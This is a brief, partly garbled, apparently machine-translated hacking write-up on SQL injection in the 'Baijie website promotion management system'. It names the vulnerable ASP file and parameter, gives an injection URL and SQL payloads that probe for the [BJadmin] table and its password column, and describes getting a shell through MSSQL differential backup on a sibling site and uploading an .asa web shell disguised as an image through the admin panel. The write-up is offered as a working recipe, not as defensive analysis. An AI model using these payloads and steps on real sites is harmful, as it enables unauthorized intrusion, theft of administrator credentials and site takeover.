Baijie website promotion management system Injection Vulnerability

The target site A has an injection point and cannot find the table name. All kinds of egg skipping, find the same program B station next to a station mssql differential backup got the same program B station shell.
The program is down. The table name is found. Inject to the background to get the site permission. .
 
Injection file:
 
News_detail.asp
 
Www.2cto.com fpshow. asp? Product_ParentID = 4 & Product_ID = 31; -- Injection Vulnerability
 
And exists (select * from [BJadmin]) Table Name
 
And exists (select [password] from [BJadmin]) the user name is in the title field.
 
Use tools to manually guess fields.
 
Shell uploads an image of asa in the background.
By old ghost: 90sec.org